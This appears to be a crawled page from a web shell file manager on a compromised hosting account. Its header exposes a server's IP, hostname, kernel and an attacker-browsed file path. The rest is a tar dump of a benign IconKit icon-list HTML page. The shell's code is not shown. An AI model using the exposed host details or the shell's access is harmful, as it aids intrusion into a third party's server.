uawdijnntqw1x1x1
IP : 216.73.216.110
Hostname : 6.87.74.97.host.secureserver.net
Kernel : Linux 6.87.74.97.host.secureserver.net 4.18.0-553.83.1.el8_10.x86_64 #1 SMP Mon Nov 10 04:22:44 EST 2025 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
emeraadmin
/
.cpanel
/
..
/
public_html
/
logs
/
..
/
node_modules
/
..
/
4d695
/
index.html.tar
/
/
home/emeraadmin/public_html/node_modules/icon-kit/index.html000064400000146166151677247210020321 0ustar00 <!doctype html> <html class="no-js" lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>IconKit</title> <meta name="description" content=""> <meta name="keywords" content=""> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="https://fonts.googleapis.com/css?family=Nunito+Sans:300,400,600,700,800" rel="stylesheet"> <link rel="stylesheet" href="dist/css/iconkit.min.css"> <style> body { margin: 0; padding: 0; color: #212121; font-size: .9rem; line-height: 1.5; font-weight: 400; font-family: "Nunito Sans",sans-serif; } h1 { font-weight: 600; } h3 { color: #404040; font-weight: normal; } pre { border-radius: 6px; background: #f7f7f7; padding: 20px; } .container { max-width: 1140px; width: 100%; margin-right: auto; margin-left: auto; } .icon_lists { display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; list-style: none; margin: 0; padding: 0; margin-top: 30px; } .icon_lists>li { -ms-flex: 0 0 33.333333%; flex: 0 0 33.333333%; max-width: 33.333333%; position: relative; width: 100%; min-height: 1px; } .icon_lists>li>i { float: left; width: 60px; height: 60px; text-align: center; border-radius: .1875rem; margin-right: 1rem; margin-bottom: 1.5rem; font-size: 2.8rem; -webkit-transition: all .2s ease-in-out; -o-transition: all .2s ease-in-out; -moz-transition: all .2s ease-in-out; transition: all .2s ease-in-out; } </style> </head> <body> <div class="container"> <h1>Icon Kit</h1> <hr> <h3>Step 1: Include the css of iconkit</h3> <pre><code class="lang-js hljs javascript"><span class="hljs-comment"><link rel="stylesheet" type="text/css" href="./iconkit.css"></span></code></pre> <h3>Step 2: Copy the individual code of icon into pages</h3> <pre><code class="lang-css hljs"><<span class="hljs-selector-tag">i</span> <span class="hljs-selector-tag">class</span>="<span class="hljs-selector-tag">ik ik-xxx</span>"></<span class="hljs-selector-tag">i</span>></code></pre> <ul class="icon_lists"> <li> <i class="ik ik-alert-octagon"></i> <div class="name">alert-octagon</div> <div class="fontclass">.ik-alert-octagon</div> </li> <li> <i class="ik ik-alert-circle"></i> <div class="name">alert-circle</div> <div class="fontclass">.ik-alert-circle</div> </li> <li> <i class="ik ik-activity"></i> <div class="name">activity</div> <div class="fontclass">.ik-activity</div> </li> <li> <i class="ik ik-alert-triangle"></i> <div class="name">alert-triangle</div> <div class="fontclass">.ik-alert-triangle</div> </li> <li> <i class="ik ik-align-center"></i> <div class="name">align-center</div> <div class="fontclass">.ik-align-center</div> </li> <li> <i class="ik ik-airplay"></i> <div class="name">airplay</div> <div class="fontclass">.ik-airplay</div> </li> <li> <i class="ik ik-align-justify"></i> <div class="name">align-justify</div> <div class="fontclass">.ik-align-justify</div> </li> <li> <i class="ik ik-align-left"></i> <div class="name">align-left</div> <div class="fontclass">.ik-align-left</div> </li> <li> <i class="ik ik-align-right"></i> <div class="name">align-right</div> <div class="fontclass">.ik-align-right</div> </li> <li> <i class="ik ik-arrow-down-left"></i> <div class="name">arrow-down-left</div> <div class="fontclass">.ik-arrow-down-left</div> </li> <li> <i class="ik ik-arrow-down-right"></i> <div class="name">arrow-down-right</div> <div class="fontclass">.ik-arrow-down-right</div> </li> <li> <i class="ik ik-anchor"></i> <div class="name">anchor</div> <div class="fontclass">.ik-anchor</div> </li> <li> <i class="ik ik-aperture"></i> <div class="name">aperture</div> <div class="fontclass">.ik-aperture</div> </li> <li> <i class="ik ik-arrow-left"></i> <div class="name">arrow-left</div> <div class="fontclass">.ik-arrow-left</div> </li> <li> <i class="ik ik-arrow-right"></i> <div class="name">arrow-right</div> <div class="fontclass">.ik-arrow-right</div> </li> <li> <i class="ik ik-arrow-down"></i> <div class="name">arrow-down</div> <div class="fontclass">.ik-arrow-down</div> </li> <li> <i class="ik ik-arrow-up-left"></i> <div class="name">arrow-up-left</div> <div class="fontclass">.ik-arrow-up-left</div> </li> <li> <i class="ik ik-arrow-up-right"></i> <div class="name">arrow-up-right</div> <div class="fontclass">.ik-arrow-up-right</div> </li> <li> <i class="ik ik-arrow-up"></i> <div class="name">arrow-up</div> <div class="fontclass">.ik-arrow-up</div> </li> <li> <i class="ik ik-award"></i> <div class="name">award</div> <div class="fontclass">.ik-award</div> </li> <li> <i class="ik ik-bar-chart"></i> <div class="name">bar-chart</div> <div class="fontclass">.ik-bar-chart</div> </li> <li> <i class="ik ik-at-sign"></i> <div class="name">at-sign</div> <div class="fontclass">.ik-at-sign</div> </li> <li> <i class="ik ik-bar-chart-2"></i> <div class="name">bar-chart-2</div> <div class="fontclass">.ik-bar-chart-</div> </li> <li> <i class="ik ik-battery-charging"></i> <div class="name">battery-charging</div> <div class="fontclass">.ik-battery-charging</div> </li> <li> <i class="ik ik-bell-off"></i> <div class="name">bell-off</div> <div class="fontclass">.ik-bell-off</div> </li> <li> <i class="ik ik-battery"></i> <div class="name">battery</div> <div class="fontclass">.ik-battery</div> </li> <li> <i class="ik ik-bluetooth"></i> <div class="name">bluetooth</div> <div class="fontclass">.ik-bluetooth</div> </li> <li> <i class="ik ik-bell"></i> <div class="name">bell</div> <div class="fontclass">.ik-bell</div> </li> <li> <i class="ik ik-book"></i> <div class="name">book</div> <div class="fontclass">.ik-book</div> </li> <li> <i class="ik ik-briefcase"></i> <div class="name">briefcase</div> <div class="fontclass">.ik-briefcase</div> </li> <li> <i class="ik ik-camera-off"></i> <div class="name">camera-off</div> <div class="fontclass">.ik-camera-off</div> </li> <li> <i class="ik ik-calendar"></i> <div class="name">calendar</div> <div class="fontclass">.ik-calendar</div> </li> <li> <i class="ik ik-bookmark"></i> <div class="name">bookmark</div> <div class="fontclass">.ik-bookmark</div> </li> <li> <i class="ik ik-box"></i> <div class="name">box</div> <div class="fontclass">.ik-box</div> </li> <li> <i class="ik ik-camera"></i> <div class="name">camera</div> <div class="fontclass">.ik-camera</div> </li> <li> <i class="ik ik-check-circle"></i> <div class="name">check-circle</div> <div class="fontclass">.ik-check-circle</div> </li> <li> <i class="ik ik-check"></i> <div class="name">check</div> <div class="fontclass">.ik-check</div> </li> <li> <i class="ik ik-check-square"></i> <div class="name">check-square</div> <div class="fontclass">.ik-check-square</div> </li> <li> <i class="ik ik-cast"></i> <div class="name">cast</div> <div class="fontclass">.ik-cast</div> </li> <li> <i class="ik ik-chevron-down"></i> <div class="name">chevron-down</div> <div class="fontclass">.ik-chevron-down</div> </li> <li> <i class="ik ik-chevron-left"></i> <div class="name">chevron-left</div> <div class="fontclass">.ik-chevron-left</div> </li> <li> <i class="ik ik-chevron-right"></i> <div class="name">chevron-right</div> <div class="fontclass">.ik-chevron-right</div> </li> <li> <i class="ik ik-chevron-up"></i> <div class="name">chevron-up</div> <div class="fontclass">.ik-chevron-up</div> </li> <li> <i class="ik ik-chevrons-down"></i> <div class="name">chevrons-down</div> <div class="fontclass">.ik-chevrons-down</div> </li> <li> <i class="ik ik-chevrons-right"></i> <div class="name">chevrons-right</div> <div class="fontclass">.ik-chevrons-right</div> </li> <li> <i class="ik ik-chevrons-up"></i> <div class="name">chevrons-up</div> <div class="fontclass">.ik-chevrons-up</div> </li> <li> <i class="ik ik-chevrons-left"></i> <div class="name">chevrons-left</div> <div class="fontclass">.ik-chevrons-left</div> </li> <li> <i class="ik ik-circle"></i> <div class="name">circle</div> <div class="fontclass">.ik-circle</div> </li> <li> <i class="ik ik-clipboard"></i> <div class="name">clipboard</div> <div class="fontclass">.ik-clipboard</div> </li> <li> <i class="ik ik-chrome"></i> <div class="name">chrome</div> <div class="fontclass">.ik-chrome</div> </li> <li> <i class="ik ik-clock"></i> <div class="name">clock</div> <div class="fontclass">.ik-clock</div> </li> <li> <i class="ik ik-cloud-lightning"></i> <div class="name">cloud-lightning</div> <div class="fontclass">.ik-cloud-lightning</div> </li> <li> <i class="ik ik-cloud-drizzle"></i> <div class="name">cloud-drizzle</div> <div class="fontclass">.ik-cloud-drizzle</div> </li> <li> <i class="ik ik-cloud-rain"></i> <div class="name">cloud-rain</div> <div class="fontclass">.ik-cloud-rain</div> </li> <li> <i class="ik ik-cloud-off"></i> <div class="name">cloud-off</div> <div class="fontclass">.ik-cloud-off</div> </li> <li> <i class="ik ik-codepen"></i> <div class="name">codepen</div> <div class="fontclass">.ik-codepen</div> </li> <li> <i class="ik ik-cloud-snow"></i> <div class="name">cloud-snow</div> <div class="fontclass">.ik-cloud-snow</div> </li> <li> <i class="ik ik-compass"></i> <div class="name">compass</div> <div class="fontclass">.ik-compass</div> </li> <li> <i class="ik ik-copy"></i> <div class="name">copy</div> <div class="fontclass">.ik-copy</div> </li> <li> <i class="ik ik-corner-down-right"></i> <div class="name">corner-down-right</div> <div class="fontclass">.ik-corner-down-right</div> </li> <li> <i class="ik ik-corner-down-left"></i> <div class="name">corner-down-left</div> <div class="fontclass">.ik-corner-down-left</div> </li> <li> <i class="ik ik-corner-left-down"></i> <div class="name">corner-left-down</div> <div class="fontclass">.ik-corner-left-down</div> </li> <li> <i class="ik ik-corner-left-up"></i> <div class="name">corner-left-up</div> <div class="fontclass">.ik-corner-left-up</div> </li> <li> <i class="ik ik-corner-up-left"></i> <div class="name">corner-up-left</div> <div class="fontclass">.ik-corner-up-left</div> </li> <li> <i class="ik ik-corner-up-right"></i> <div class="name">corner-up-right</div> <div class="fontclass">.ik-corner-up-right</div> </li> <li> <i class="ik ik-corner-right-down"></i> <div class="name">corner-right-down</div> <div class="fontclass">.ik-corner-right-down</div> </li> <li> <i class="ik ik-corner-right-up"></i> <div class="name">corner-right-up</div> <div class="fontclass">.ik-corner-right-up</div> </li> <li> <i class="ik ik-cpu"></i> <div class="name">cpu</div> <div class="fontclass">.ik-cpu</div> </li> <li> <i class="ik ik-credit-card"></i> <div class="name">credit-card</div> <div class="fontclass">.ik-credit-card</div> </li> <li> <i class="ik ik-crosshair"></i> <div class="name">crosshair</div> <div class="fontclass">.ik-crosshair</div> </li> <li> <i class="ik ik-disc"></i> <div class="name">disc</div> <div class="fontclass">.ik-disc</div> </li> <li> <i class="ik ik-delete"></i> <div class="name">delete</div> <div class="fontclass">.ik-delete</div> </li> <li> <i class="ik ik-download-cloud"></i> <div class="name">download-cloud</div> <div class="fontclass">.ik-download-cloud</div> </li> <li> <i class="ik ik-download"></i> <div class="name">download</div> <div class="fontclass">.ik-download</div> </li> <li> <i class="ik ik-droplet"></i> <div class="name">droplet</div> <div class="fontclass">.ik-droplet</div> </li> <li> <i class="ik ik-edit-2"></i> <div class="name">edit-2</div> <div class="fontclass">.ik-edit-</div> </li> <li> <i class="ik ik-edit"></i> <div class="name">edit</div> <div class="fontclass">.ik-edit</div> </li> <li> <i class="ik ik-edit-1"></i> <div class="name">edit-3</div> <div class="fontclass">.ik-edit-1</div> </li> <li> <i class="ik ik-external-link"></i> <div class="name">external-link</div> <div class="fontclass">.ik-external-link</div> </li> <li> <i class="ik ik-eye"></i> <div class="name">eye</div> <div class="fontclass">.ik-eye</div> </li> <li> <i class="ik ik-feather"></i> <div class="name">feather</div> <div class="fontclass">.ik-feather</div> </li> <li> <i class="ik ik-facebook"></i> <div class="name">facebook</div> <div class="fontclass">.ik-facebook</div> </li> <li> <i class="ik ik-file-minus"></i> <div class="name">file-minus</div> <div class="fontclass">.ik-file-minus</div> </li> <li> <i class="ik ik-eye-off"></i> <div class="name">eye-off</div> <div class="fontclass">.ik-eye-off</div> </li> <li> <i class="ik ik-fast-forward"></i> <div class="name">fast-forward</div> <div class="fontclass">.ik-fast-forward</div> </li> <li> <i class="ik ik-file-text"></i> <div class="name">file-text</div> <div class="fontclass">.ik-file-text</div> </li> <li> <i class="ik ik-film"></i> <div class="name">film</div> <div class="fontclass">.ik-film</div> </li> <li> <i class="ik ik-file"></i> <div class="name">file</div> <div class="fontclass">.ik-file</div> </li> <li> <i class="ik ik-file-plus"></i> <div class="name">file-plus</div> <div class="fontclass">.ik-file-plus</div> </li> <li> <i class="ik ik-folder"></i> <div class="name">folder</div> <div class="fontclass">.ik-folder</div> </li> <li> <i class="ik ik-filter"></i> <div class="name">filter</div> <div class="fontclass">.ik-filter</div> </li> <li> <i class="ik ik-flag"></i> <div class="name">flag</div> <div class="fontclass">.ik-flag</div> </li> <li> <i class="ik ik-globe"></i> <div class="name">globe</div> <div class="fontclass">.ik-globe</div> </li> <li> <i class="ik ik-grid"></i> <div class="name">grid</div> <div class="fontclass">.ik-grid</div> </li> <li> <i class="ik ik-heart"></i> <div class="name">heart</div> <div class="fontclass">.ik-heart</div> </li> <li> <i class="ik ik-home"></i> <div class="name">home</div> <div class="fontclass">.ik-home</div> </li> <li> <i class="ik ik-github"></i> <div class="name">github</div> <div class="fontclass">.ik-github</div> </li> <li> <i class="ik ik-image"></i> <div class="name">image</div> <div class="fontclass">.ik-image</div> </li> <li> <i class="ik ik-inbox"></i> <div class="name">inbox</div> <div class="fontclass">.ik-inbox</div> </li> <li> <i class="ik ik-layers"></i> <div class="name">layers</div> <div class="fontclass">.ik-layers</div> </li> <li> <i class="ik ik-info"></i> <div class="name">info</div> <div class="fontclass">.ik-info</div> </li> <li> <i class="ik ik-instagram"></i> <div class="name">instagram</div> <div class="fontclass">.ik-instagram</div> </li> <li> <i class="ik ik-layout"></i> <div class="name">layout</div> <div class="fontclass">.ik-layout</div> </li> <li> <i class="ik ik-link-2"></i> <div class="name">link-2</div> <div class="fontclass">.ik-link-</div> </li> <li> <i class="ik ik-life-buoy"></i> <div class="name">life-buoy</div> <div class="fontclass">.ik-life-buoy</div> </li> <li> <i class="ik ik-link"></i> <div class="name">link</div> <div class="fontclass">.ik-link</div> </li> <li> <i class="ik ik-log-in"></i> <div class="name">log-in</div> <div class="fontclass">.ik-log-in</div> </li> <li> <i class="ik ik-list"></i> <div class="name">list</div> <div class="fontclass">.ik-list</div> </li> <li> <i class="ik ik-lock"></i> <div class="name">lock</div> <div class="fontclass">.ik-lock</div> </li> <li> <i class="ik ik-log-out"></i> <div class="name">log-out</div> <div class="fontclass">.ik-log-out</div> </li> <li> <i class="ik ik-loader"></i> <div class="name">loader</div> <div class="fontclass">.ik-loader</div> </li> <li> <i class="ik ik-mail"></i> <div class="name">mail</div> <div class="fontclass">.ik-mail</div> </li> <li> <i class="ik ik-maximize-2"></i> <div class="name">maximize-2</div> <div class="fontclass">.ik-maximize-2</div> </li> <li> <i class="ik ik-map"></i> <div class="name">map</div> <div class="fontclass">.ik-map</div> </li> <li> <i class="ik ik-maximize"></i> <div class="name">maximize</div> <div class="fontclass">.ik-maximize</div> </li> <li> <i class="ik ik-map-pin"></i> <div class="name">map-pin</div> <div class="fontclass">.ik-map-pin</div> </li> <li> <i class="ik ik-menu"></i> <div class="name">menu</div> <div class="fontclass">.ik-menu</div> </li> <li> <i class="ik ik-message-circle"></i> <div class="name">message-circle</div> <div class="fontclass">.ik-message-circle</div> </li> <li> <i class="ik ik-message-square"></i> <div class="name">message-square</div> <div class="fontclass">.ik-message-square</div> </li> <li> <i class="ik ik-minimize-2"></i> <div class="name">minimize-2</div> <div class="fontclass">.ik-minimize-</div> </li> <li> <i class="ik ik-minimize"></i> <div class="name">minimize</div> <div class="fontclass">.ik-minimize</div> </li> <li> <i class="ik ik-mic-off"></i> <div class="name">mic-off</div> <div class="fontclass">.ik-mic-off</div> </li> <li> <i class="ik ik-minus-circle"></i> <div class="name">minus-circle</div> <div class="fontclass">.ik-minus-circle</div> </li> <li> <i class="ik ik-mic"></i> <div class="name">mic</div> <div class="fontclass">.ik-mic</div> </li> <li> <i class="ik ik-minus-square"></i> <div class="name">minus-square</div> <div class="fontclass">.ik-minus-square</div> </li> <li> <i class="ik ik-minus"></i> <div class="name">minus</div> <div class="fontclass">.ik-minus</div> </li> <li> <i class="ik ik-moon"></i> <div class="name">moon</div> <div class="fontclass">.ik-moon</div> </li> <li> <i class="ik ik-monitor"></i> <div class="name">monitor</div> <div class="fontclass">.ik-monitor</div> </li> <li> <i class="ik ik-more-vertical"></i> <div class="name">more-vertical</div> <div class="fontclass">.ik-more-vertical</div> </li> <li> <i class="ik ik-more-horizontal"></i> <div class="name">more-horizontal</div> <div class="fontclass">.ik-more-horizontal</div> </li> <li> <i class="ik ik-move"></i> <div class="name">move</div> <div class="fontclass">.ik-move</div> </li> <li> <i class="ik ik-music"></i> <div class="name">music</div> <div class="fontclass">.ik-music</div> </li> <li> <i class="ik ik-navigation-2"></i> <div class="name">navigation-2</div> <div class="fontclass">.ik-navigation-</div> </li> <li> <i class="ik ik-navigation"></i> <div class="name">navigation</div> <div class="fontclass">.ik-navigation</div> </li> <li> <i class="ik ik-octagon"></i> <div class="name">octagon</div> <div class="fontclass">.ik-octagon</div> </li> <li> <i class="ik ik-package"></i> <div class="name">package</div> <div class="fontclass">.ik-package</div> </li> <li> <i class="ik ik-pause-circle"></i> <div class="name">pause-circle</div> <div class="fontclass">.ik-pause-circle</div> </li> <li> <i class="ik ik-pause"></i> <div class="name">pause</div> <div class="fontclass">.ik-pause</div> </li> <li> <i class="ik ik-percent"></i> <div class="name">percent</div> <div class="fontclass">.ik-percent</div> </li> <li> <i class="ik ik-phone-call"></i> <div class="name">phone-call</div> <div class="fontclass">.ik-phone-call</div> </li> <li> <i class="ik ik-phone-forwarded"></i> <div class="name">phone-forwarded</div> <div class="fontclass">.ik-phone-forwarded</div> </li> <li> <i class="ik ik-phone-missed"></i> <div class="name">phone-missed</div> <div class="fontclass">.ik-phone-missed</div> </li> <li> <i class="ik ik-phone-off"></i> <div class="name">phone-off</div> <div class="fontclass">.ik-phone-off</div> </li> <li> <i class="ik ik-phone-incoming"></i> <div class="name">phone-incoming</div> <div class="fontclass">.ik-phone-incoming</div> </li> <li> <i class="ik ik-phone"></i> <div class="name">phone</div> <div class="fontclass">.ik-phone</div> </li> <li> <i class="ik ik-phone-outgoing"></i> <div class="name">phone-outgoing</div> <div class="fontclass">.ik-phone-outgoing</div> </li> <li> <i class="ik ik-pie-chart"></i> <div class="name">pie-chart</div> <div class="fontclass">.ik-pie-chart</div> </li> <li> <i class="ik ik-play-circle"></i> <div class="name">play-circle</div> <div class="fontclass">.ik-play-circle</div> </li> <li> <i class="ik ik-play"></i> <div class="name">play</div> <div class="fontclass">.ik-play</div> </li> <li> <i class="ik ik-plus-square"></i> <div class="name">plus-square</div> <div class="fontclass">.ik-plus-square</div> </li> <li> <i class="ik ik-plus-circle"></i> <div class="name">plus-circle</div> <div class="fontclass">.ik-plus-circle</div> </li> <li> <i class="ik ik-plus"></i> <div class="name">plus</div> <div class="fontclass">.ik-plus</div> </li> <li> <i class="ik ik-pocket"></i> <div class="name">pocket</div> <div class="fontclass">.ik-pocket</div> </li> <li> <i class="ik ik-printer"></i> <div class="name">printer</div> <div class="fontclass">.ik-printer</div> </li> <li> <i class="ik ik-power"></i> <div class="name">power</div> <div class="fontclass">.ik-power</div> </li> <li> <i class="ik ik-radio"></i> <div class="name">radio</div> <div class="fontclass">.ik-radio</div> </li> <li> <i class="ik ik-repeat"></i> <div class="name">repeat</div> <div class="fontclass">.ik-repeat</div> </li> <li> <i class="ik ik-refresh-ccw"></i> <div class="name">refresh-ccw</div> <div class="fontclass">.ik-refresh-ccw</div> </li> <li> <i class="ik ik-rewind"></i> <div class="name">rewind</div> <div class="fontclass">.ik-rewind</div> </li> <li> <i class="ik ik-rotate-ccw"></i> <div class="name">rotate-ccw</div> <div class="fontclass">.ik-rotate-ccw</div> </li> <li> <i class="ik ik-refresh-cw"></i> <div class="name">refresh-cw</div> <div class="fontclass">.ik-refresh-cw</div> </li> <li> <i class="ik ik-rotate-cw"></i> <div class="name">rotate-cw</div> <div class="fontclass">.ik-rotate-cw</div> </li> <li> <i class="ik ik-save"></i> <div class="name">save</div> <div class="fontclass">.ik-save</div> </li> <li> <i class="ik ik-search"></i> <div class="name">search</div> <div class="fontclass">.ik-search</div> </li> <li> <i class="ik ik-server"></i> <div class="name">server</div> <div class="fontclass">.ik-server</div> </li> <li> <i class="ik ik-scissors"></i> <div class="name">scissors</div> <div class="fontclass">.ik-scissors</div> </li> <li> <i class="ik ik-share-2"></i> <div class="name">share-2</div> <div class="fontclass">.ik-share-</div> </li> <li> <i class="ik ik-share"></i> <div class="name">share</div> <div class="fontclass">.ik-share</div> </li> <li> <i class="ik ik-shield"></i> <div class="name">shield</div> <div class="fontclass">.ik-shield</div> </li> <li> <i class="ik ik-settings"></i> <div class="name">settings</div> <div class="fontclass">.ik-settings</div> </li> <li> <i class="ik ik-skip-back"></i> <div class="name">skip-back</div> <div class="fontclass">.ik-skip-back</div> </li> <li> <i class="ik ik-shuffle"></i> <div class="name">shuffle</div> <div class="fontclass">.ik-shuffle</div> </li> <li> <i class="ik ik-sidebar"></i> <div class="name">sidebar</div> <div class="fontclass">.ik-sidebar</div> </li> <li> <i class="ik ik-skip-forward"></i> <div class="name">skip-forward</div> <div class="fontclass">.ik-skip-forward</div> </li> <li> <i class="ik ik-slack"></i> <div class="name">slack</div> <div class="fontclass">.ik-slack</div> </li> <li> <i class="ik ik-slash"></i> <div class="name">slash</div> <div class="fontclass">.ik-slash</div> </li> <li> <i class="ik ik-smartphone"></i> <div class="name">smartphone</div> <div class="fontclass">.ik-smartphone</div> </li> <li> <i class="ik ik-square"></i> <div class="name">square</div> <div class="fontclass">.ik-square</div> </li> <li> <i class="ik ik-speaker"></i> <div class="name">speaker</div> <div class="fontclass">.ik-speaker</div> </li> <li> <i class="ik ik-star"></i> <div class="name">star</div> <div class="fontclass">.ik-star</div> </li> <li> <i class="ik ik-stop-circle"></i> <div class="name">stop-circle</div> <div class="fontclass">.ik-stop-circle</div> </li> <li> <i class="ik ik-sun"></i> <div class="name">sun</div> <div class="fontclass">.ik-sun</div> </li> <li> <i class="ik ik-sunrise"></i> <div class="name">sunrise</div> <div class="fontclass">.ik-sunrise</div> </li> <li> <i class="ik ik-tablet"></i> <div class="name">tablet</div> <div class="fontclass">.ik-tablet</div> </li> <li> <i class="ik ik-tag"></i> <div class="name">tag</div> <div class="fontclass">.ik-tag</div> </li> <li> <i class="ik ik-sunset"></i> <div class="name">sunset</div> <div class="fontclass">.ik-sunset</div> </li> <li> <i class="ik ik-target"></i> <div class="name">target</div> <div class="fontclass">.ik-target</div> </li> <li> <i class="ik ik-thermometer"></i> <div class="name">thermometer</div> <div class="fontclass">.ik-thermometer</div> </li> <li> <i class="ik ik-thumbs-up"></i> <div class="name">thumbs-up</div> <div class="fontclass">.ik-thumbs-up</div> </li> <li> <i class="ik ik-thumbs-down"></i> <div class="name">thumbs-down</div> <div class="fontclass">.ik-thumbs-down</div> </li> <li> <i class="ik ik-toggle-left"></i> <div class="name">toggle-left</div> <div class="fontclass">.ik-toggle-left</div> </li> <li> <i class="ik ik-toggle-right"></i> <div class="name">toggle-right</div> <div class="fontclass">.ik-toggle-right</div> </li> <li> <i class="ik ik-trash-2"></i> <div class="name">trash-2</div> <div class="fontclass">.ik-trash-</div> </li> <li> <i class="ik ik-trash"></i> <div class="name">trash</div> <div class="fontclass">.ik-trash</div> </li> <li> <i class="ik ik-trending-up"></i> <div class="name">trending-up</div> <div class="fontclass">.ik-trending-up</div> </li> <li> <i class="ik ik-trending-down"></i> <div class="name">trending-down</div> <div class="fontclass">.ik-trending-down</div> </li> <li> <i class="ik ik-triangle"></i> <div class="name">triangle</div> <div class="fontclass">.ik-triangle</div> </li> <li> <i class="ik ik-type"></i> <div class="name">type</div> <div class="fontclass">.ik-type</div> </li> <li> <i class="ik ik-twitter"></i> <div class="name">twitter</div> <div class="fontclass">.ik-twitter</div> </li> <li> <i class="ik ik-upload"></i> <div class="name">upload</div> <div class="fontclass">.ik-upload</div> </li> <li> <i class="ik ik-umbrella"></i> <div class="name">umbrella</div> <div class="fontclass">.ik-umbrella</div> </li> <li> <i class="ik ik-upload-cloud"></i> <div class="name">upload-cloud</div> <div class="fontclass">.ik-upload-cloud</div> </li> <li> <i class="ik ik-unlock"></i> <div class="name">unlock</div> <div class="fontclass">.ik-unlock</div> </li> <li> <i class="ik ik-user-check"></i> <div class="name">user-check</div> <div class="fontclass">.ik-user-check</div> </li> <li> <i class="ik ik-user-minus"></i> <div class="name">user-minus</div> <div class="fontclass">.ik-user-minus</div> </li> <li> <i class="ik ik-user-plus"></i> <div class="name">user-plus</div> <div class="fontclass">.ik-user-plus</div> </li> <li> <i class="ik ik-user-x"></i> <div class="name">user-x</div> <div class="fontclass">.ik-user-x</div> </li> <li> <i class="ik ik-user"></i> <div class="name">user</div> <div class="fontclass">.ik-user</div> </li> <li> <i class="ik ik-users"></i> <div class="name">users</div> <div class="fontclass">.ik-users</div> </li> <li> <i class="ik ik-video-off"></i> <div class="name">video-off</div> <div class="fontclass">.ik-video-off</div> </li> <li> <i class="ik ik-video"></i> <div class="name">video</div> <div class="fontclass">.ik-video</div> </li> <li> <i class="ik ik-voicemail"></i> <div class="name">voicemail</div> <div class="fontclass">.ik-voicemail</div> </li> <li> <i class="ik ik-volume-x"></i> <div class="name">volume-x</div> <div class="fontclass">.ik-volume-x</div> </li> <li> <i class="ik ik-volume-2"></i> <div class="name">volume-1</div> <div class="fontclass">.ik-volume-</div> </li> <li> <i class="ik ik-volume-1"></i> <div class="name">volume-2</div> <div class="fontclass">.ik-volume-1</div> </li> <li> <i class="ik ik-volume"></i> <div class="name">volume</div> <div class="fontclass">.ik-volume</div> </li> <li> <i class="ik ik-watch"></i> <div class="name">watch</div> <div class="fontclass">.ik-watch</div> </li> <li> <i class="ik ik-wifi"></i> <div class="name">wifi</div> <div class="fontclass">.ik-wifi</div> </li> <li> <i class="ik ik-x-square"></i> <div class="name">x-square</div> <div class="fontclass">.ik-x-square</div> </li> <li> <i class="ik ik-wind"></i> <div class="name">wind</div> <div class="fontclass">.ik-wind</div> </li> <li> <i class="ik ik-x"></i> <div class="name">x</div> <div class="fontclass">.ik-x</div> </li> <li> <i class="ik ik-x-circle"></i> <div class="name">x-circle</div> <div class="fontclass">.ik-x-circle</div> </li> <li> <i class="ik ik-zap"></i> <div class="name">zap</div> <div class="fontclass">.ik-zap</div> </li> <li> <i class="ik ik-zoom-in"></i> <div class="name">zoom-in</div> <div class="fontclass">.ik-zoom-in</div> </li> <li> <i class="ik ik-zoom-out"></i> <div class="name">zoom-out</div> <div class="fontclass">.ik-zoom-out</div> </li> <li> <i class="ik ik-command"></i> <div class="name">command</div> <div class="fontclass">.ik-command</div> </li> <li> <i class="ik ik-cloud"></i> <div class="name">cloud</div> <div class="fontclass">.ik-cloud</div> </li> <li> <i class="ik ik-hash"></i> <div class="name">hash</div> <div class="fontclass">.ik-hash</div> </li> <li> <i class="ik ik-headphones"></i> <div class="name">headphones</div> <div class="fontclass">.ik-headphones</div> </li> <li> <i class="ik ik-underline"></i> <div class="name">underline</div> <div class="fontclass">.ik-underline</div> </li> <li> <i class="ik ik-italic"></i> <div class="name">italic</div> <div class="fontclass">.ik-italic</div> </li> <li> <i class="ik ik-bold"></i> <div class="name">bold</div> <div class="fontclass">.ik-bold</div> </li> <li> <i class="ik ik-crop"></i> <div class="name">crop</div> <div class="fontclass">.ik-crop</div> </li> <li> <i class="ik ik-help-circle"></i> <div class="name">help-circle</div> <div class="fontclass">.ik-help-circle</div> </li> <li> <i class="ik ik-paperclip"></i> <div class="name">paperclip</div> <div class="fontclass">.ik-paperclip</div> </li> <li> <i class="ik ik-shopping-cart"></i> <div class="name">shopping-cart</div> <div class="fontclass">.ik-shopping-cart</div> </li> <li> <i class="ik ik-tv"></i> <div class="name">tv</div> <div class="fontclass">.ik-tv</div> </li> <li> <i class="ik ik-wifi-off"></i> <div class="name">wifi-off</div> <div class="fontclass">.ik-wifi-off</div> </li> <li> <i class="ik ik-gitlab"></i> <div class="name">gitlab</div> <div class="fontclass">.ik-gitlab</div> </li> <li> <i class="ik ik-sliders"></i> <div class="name">sliders</div> <div class="fontclass">.ik-sliders</div> </li> <li> <i class="ik ik-star-on"></i> <div class="name">star-on</div> <div class="fontclass">.ik-star-on</div> </li> <li> <i class="ik ik-heart-on"></i> <div class="name">heart-on</div> <div class="fontclass">.ik-heart-on</div> </li> <li> <i class="ik ik-archive"></i> <div class="name">archive</div> <div class="fontclass">.ik-archive</div> </li> <li> <i class="ik ik-arrow-down-circle"></i> <div class="name">arrow-down-circle</div> <div class="fontclass">.ik-arrow-down-circle</div> </li> <li> <i class="ik ik-arrow-up-circle"></i> <div class="name">arrow-up-circle</div> <div class="fontclass">.ik-arrow-up-circle</div> </li> <li> <i class="ik ik-arrow-left-circle"></i> <div class="name">arrow-left-circle</div> <div class="fontclass">.ik-arrow-left-circle</div> </li> <li> <i class="ik ik-arrow-right-circle"></i> <div class="name">arrow-right-circle</div> <div class="fontclass">.ik-arrow-right-circle</div> </li> <li> <i class="ik ik-bar-chart-line-"></i> <div class="name">bar-chart-line-2</div> <div class="fontclass">.ik-bar-chart-line-</div> </li> <li> <i class="ik ik-bar-chart-line"></i> <div class="name">bar-chart-line</div> <div class="fontclass">.ik-bar-chart-line</div> </li> <li> <i class="ik ik-book-open"></i> <div class="name">book-open</div> <div class="fontclass">.ik-book-open</div> </li> <li> <i class="ik ik-code"></i> <div class="name">code</div> <div class="fontclass">.ik-code</div> </li> <li> <i class="ik ik-database"></i> <div class="name">database</div> <div class="fontclass">.ik-database</div> </li> <li> <i class="ik ik-dollar-sign"></i> <div class="name">dollar-sign</div> <div class="fontclass">.ik-dollar-sign</div> 